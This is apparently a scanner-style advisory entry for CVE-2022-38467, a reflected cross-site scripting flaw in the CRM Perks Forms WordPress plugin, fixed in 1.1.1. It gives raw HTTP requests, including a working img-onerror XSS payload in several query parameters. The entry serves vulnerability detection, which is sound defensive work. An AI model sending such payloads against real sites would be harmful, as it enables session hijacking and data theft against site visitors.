| Title | CRM Perks Forms < 1.1.1 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 1.1.1 |
| CVSS Score | 6.1 |
| EPSS Score | 0.10541 |
| CVE ID | CVE-2022-38467 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve crm-perks-forms wpscan wordpress wp wp-plugin xss crmperks vuln |
The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting
GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38467.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-38467.pcap
N/AN/A